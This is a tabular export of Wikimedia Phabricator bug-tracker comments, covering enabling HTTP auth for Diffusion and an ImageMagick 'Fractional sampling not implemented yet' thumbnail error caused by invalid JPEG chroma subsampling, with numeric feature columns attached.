~~[[ http://localhost/patchdemo/wikis/2ca64449dd/w/ ]]~~",,,1689773325,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,True,,,419,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.5,0.6944444444444444,"Test wiki on [[ URL | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2161794,"Turn on ""diffusion.allow-http-auth""","Test wiki on [[ http://localhost/patchdemo | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:

~~[[ http://localhost/patchdemo/wikis/0483bb0894/w/ ]]~~",,,1689773317,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,True,,,419,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,2.5,0.6944444444444444,"Test wiki on [[ URL | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:

~~[[ URL ]]~~"
2105452,"Turn on ""diffusion.allow-http-auth""","Change 907839 **abandoned** by Ladsgroup:
%%%[mediawiki/extensions/AbuseFilter@master] [DNM] Test%%%
Reason:
%%%%%%
https://gerrit.wikimedia.org/r/907839",,,1681339382,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,False,,,405,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,3.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.2432432432432434,0.5135135135135135,"Change 907839 **abandoned** by Ladsgroup:
%%%[mediawiki/extensions/AbuseFilter@master] [DNM] Test%%%
Reason:
%%%%%%
GERRIT_URL"
2105451,"Turn on ""diffusion.allow-http-auth""","Change 907839 had a related patch set uploaded (by Gerrit maintenance bot; author: Gerrit maintenance bot):
%%%[mediawiki/extensions/AbuseFilter@master] [DNM] Test%%%
https://gerrit.wikimedia.org/r/907839",,,1681339358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,False,,,405,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,4.324324324324325,0.7567567567567568,"Change 907839 had a related patch set uploaded (by Gerrit maintenance bot; author: Gerrit maintenance bot):
%%%[mediawiki/extensions/AbuseFilter@master] [DNM] Test%%%
GERRIT_URL"
420571,"Turn on ""diffusion.allow-http-auth""",Accidental clash. Known issue. Reverting status.,,,1425458026,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.777777777777778,0.7777777777777778,Accidental clash. Known issue. Reverting status.
3171,"Turn on ""diffusion.allow-http-auth""",Let's close this for now. Please reopen if this is needed when we enable Diffusion here.,,,1412896210,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,16.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8421052631578947,0.8947368421052632,Let's close this for now. Please reopen if this is needed when we enable Diffusion here.
1146,"Turn on ""diffusion.allow-http-auth""","**demon** wrote on `2014-04-30 00:28:02 (UTC)`

Updated diffusion.allow-http-auth to be true.

Still looking at the git-http-backend thing.",,,1410485453,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3548387096774195,0.7096774193548387,"**demon** wrote on CODE

Updated diffusion.allow-http-auth to be true.

Still looking at the git-http-backend thing."
1145,"Turn on ""diffusion.allow-http-auth""","**qgil** wrote on `2014-04-23 23:43:39 (UTC)`

Reassigning to Chad because I don't feel confident about touching anything related to repository configuration.",,,1410485452,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-42,True,0.0,4.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,19.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,19.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.538461538461538,0.8461538461538461,"**qgil** wrote on CODE

Reassigning to Chad because I don't feel confident about touching anything related to repository configuration."
1144,"Turn on ""diffusion.allow-http-auth""","**qchris** wrote on `2014-04-23 21:52:24 (UTC)`

(assigned to aklapper, as I have no clue who maintains this Phabricator instance, and he could hopefully re-assign correctly)",,,1410485452,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-42,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8823529411764706,"**qchris** wrote on CODE

(assigned to aklapper, as I have no clue who maintains this Phabricator instance, and he could hopefully re-assign correctly)"
74511,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","For example with:
https://kn.wikipedia.org/wiki/%E0%B2%9A%E0%B2%BF%E0%B2%A4%E0%B3%8D%E0%B2%B0:End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg

Calling this URL:
http://upload.wikimedia.org/wikipedia/kn/thumb/0/0e/End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg/230px-End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg

Generate a HTTP 500 error with message:
Error generating thumbnail

ಮುನ್ನೋಟ ಚಿತ್ರವನ್ನು ಸೃಷ್ಟಿಸುವಲ್ಲಿ ದೋಷ: convert: Fractional sampling not implemented yet `/tmp/localcopy_1924ad5185f8-1.jpg' @ error/jpeg.c/EmitMessage/242.
convert: missing an image filename `/tmp/transform_b82067d9cc5c-1.jpg' @ error/convert.c/ConvertImageCommand/3011.

Error code: 1

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1414245480,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,False,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_description,open,True,c3,1,False,False,,-36,True,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,4.0,11.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,3.0,4.586666666666667,0.6,"For example with:
URL

Calling this URL:
URL

Generate a HTTP 500 error with message:
Error generating thumbnail

ಮುನ್ನೋಟ ಚಿತ್ರವನ್ನು ಸೃಷ್ಟಿಸುವಲ್ಲಿ ದೋಷ: convert: Fractional sampling not implemented yet CODE/tmp/transform_b82067d9cc5c-1.jpg' @ error/convert.c/ConvertImageCommand/3011.

Error code: 1

--------------------------
**Version**: unspecified
**Severity**: normal"
517436,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","The file appears to thumbnail correctly now. Did we upgrade ImageMagick to a version which contains the alleged patch? (I couldn't find any evidence that such a patch exists, much less has been released, much less backported.)",,,1440975496,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,3,True,,,8,True,7.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,13.0,7.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,9.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,2.0,2.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,4.222222222222222,0.8444444444444444,"The file appears to thumbnail correctly now. Did we upgrade ImageMagick to a version which contains the alleged patch? (I couldn't find any evidence that such a patch exists, much less has been released, much less backported.)"
325882,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Sorry for my last comment, is not for this bug report.",,,1414624033,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,0.9230769230769231,"Sorry for my last comment, is not for this bug report."
325878,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Here is my HTTP header dump for http://parsoid-lb.eqiad.wikimedia.org/euwiki/Cebus?oldid=3949332
===
GET /euwiki/Cebus?oldid=3949332 HTTP/1.1
Host: parsoid-lb.eqiad.wikimedia.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 0
Cookie: GeoIP=CH:Dubendorf:47.3954:8.6184:v4
Connection: keep-alive

HTTP/1.1 200 OK
X-Powered-By: Express
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Cache-Control: private,no-cache,s-maxage=0
content-revision-id: 3949332
X-Parsoid-Performance: duration=270362; start=1414501238071
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
X-Varnish: 497764938, 820175809
Via: 1.1 varnish, 1.1 varnish
Content-Length: 2646
Accept-Ranges: bytes
Date: Tue, 28 Oct 2014 13:05:08 GMT
Age: 0
Connection: keep-alive
X-Cache: cp1058 miss (0), cp1058 frontend miss (0)",,,1414501581,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,4.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,6.333333333333333,0.0,0.6666666666666666,1.0,20.666666666666668,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.707995239640809,0.587092935194201,"Here is my HTTP header dump for URL
===
GET /euwiki/Cebus?oldid=3949332 HTTP/1.1
Host: parsoid-lb.eqiad.wikimedia.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 0
Cookie: GeoIP=CH:Dubendorf:47.3954:8.6184:v4
Connection: keep-alive

HTTP/1.1 200 OK
X-Powered-By: Express
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Cache-Control: private,no-cache,s-maxage=0
content-revision-id: 3949332
X-Parsoid-Performance: duration=270362; start=1414501238071
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip
X-Varnish: 497764938, 820175809
Via: 1.1 varnish, 1.1 varnish
Content-Length: 2646
Accept-Ranges: bytes
Date: Tue, 28 Oct 2014 13:05:08 GMT
Age: 0
Connection: keep-alive
X-Cache: cp1058 miss (0), cp1058 frontend miss (0)"
325872,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","The beta version of imagemagick 6.8.9-10 was released here:
http://www.imagemagick.org/download/beta/ImageMagick-6.8.9-10.tar.bz2",,,1414408632,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9285714285714284,1.0,"The beta version of imagemagick 6.8.9-10 was released here:
URL"
325868,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""",What happens here is pretty incredible... the end too ;),,,1414282678,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,What happens here is pretty incredible... the end too ;)
325866,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","upstream says: ""We can reproduce the problem you posted and have a patch in ImageMagick 6.8.9-10 Beta, available by sometime tomorrow. Thanks.""

----

Of course Wikimedia updates its packages almost never, so it probably won't make it to WMF servers for about seven years.",,,1414281233,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,4.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,9.0,11.0,11.0,0.0,4.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.052631578947368,0.8947368421052632,"upstream says: ""We can reproduce the problem you posted and have a patch in ImageMagick 6.8.9-10 Beta, available by sometime tomorrow. Thanks.""

----

Of course Wikimedia updates its packages almost never, so it probably won't make it to WMF servers for about seven years."
325862,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Well I filed an upstream bug: http://www.imagemagick.org/discourse-server/viewtopic.php?f=3&t=26434 , but to be honest, I'm not really sure if this is really an image magick bug.",,,1414269752,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,4.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.1785714285714284,0.8214285714285714,"Well I filed an upstream bug: URL , but to be honest, I'm not really sure if this is really an image magick bug."
325857,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","(In reply to Bawolff (Brian Wolff) from comment #2)
> Ah, its related to the file having an invalid YCbCr sampling specification.
> It specifies ""2 3"", and as far as I can tell, the valid choices are:

To further that, the ""2 3"" would denote subsampling with 1/2 resolution in the horizontal direction, and 1/3 in the vertical resolution.

When we ask image magick to scale it with say the -define 'jpeg:size=295x175' option, that hands off the initial scaling to libjpeg, which shrinks it by 50%. As a result it tries to in the vertical direction scale by 3/2 (Since it tries for every 2 vertical samples (from the scaling factor) to return 3 samples (from the subsampling)). But if -define 'jpeg:size=295x175' isn't there, then the full image is decompressed, and the vertical chroma is scaled by the integer 3.

I don't know if this could be considered a bug in image magick, or if libjpeg should handle this better, or if the image is just broken.",,,1414267547,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0.5,0.0,0.0,2.0,1.0,3.5,0.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,1.0,1.0,4.5,14.5,0.0,1.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,5.5,1.0,2.0,1.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,12.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.5,2.5,6.0,3.5,2.5,9.5,0.0,0.0,0.0,0.5,3.5,0.0,5.5,0.0,3.0,14.5,4.0,0.0,3.0,0.0,3.0,0.0,1.5,1.0,0.0,0.0,1.0,0.0,0.0,3.710164835164835,0.6720616340181558,"(In reply to Bawolff (Brian Wolff) from comment #2)
QUOTE
QUOTE

To further that, the ""2 3"" would denote subsampling with 1/2 resolution in the horizontal direction, and 1/3 in the vertical resolution.

When we ask image magick to scale it with say the -define 'jpeg:size=295x175' option, that hands off the initial scaling to libjpeg, which shrinks it by 50%. As a result it tries to in the vertical direction scale by 3/2 (Since it tries for every 2 vertical samples (from the scaling factor) to return 3 samples (from the subsampling)). But if -define 'jpeg:size=295x175' isn't there, then the full image is decompressed, and the vertical chroma is scaled by the integer 3.

I don't know if this could be considered a bug in image magick, or if libjpeg should handle this better, or if the image is just broken."
325850,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Ah, its related to the file having an invalid YCbCr sampling specification. It specifies ""2 3"", and as far as I can tell, the valid choices are:

'1 1' = YCbCr4:4:4 
'1 2' = YCbCr4:4:0 
'1 4' = YCbCr4:4:1 
'2 1' = YCbCr4:2:2 
'2 2' = YCbCr4:2:0 
'2 4' = YCbCr4:2:1 
'4 1' = YCbCr4:1:1 
'4 2' = YCbCr4:1:0",,,1414266101,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,18.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,13.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,1.0,30.0,0.0,3.0,2.0,1.0,0.0,20.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,2.7444444444444445,0.4777777777777778,"Ah, its related to the file having an invalid YCbCr sampling specification. It specifies ""2 3"", and as far as I can tell, the valid choices are:

'1 1' = YCbCr4:4:4 
'1 2' = YCbCr4:4:0 
'1 4' = YCbCr4:4:1 
'2 1' = YCbCr4:2:2 
'2 2' = YCbCr4:2:0 
'2 4' = YCbCr4:2:1 
'4 1' = YCbCr4:1:1 
'4 2' = YCbCr4:1:0"
325846,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Appears to be bug in image magick about how it gives size hints to libjpeg.

example test case:

convert -define 'jpeg:size=118x70' End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg  out.jpg

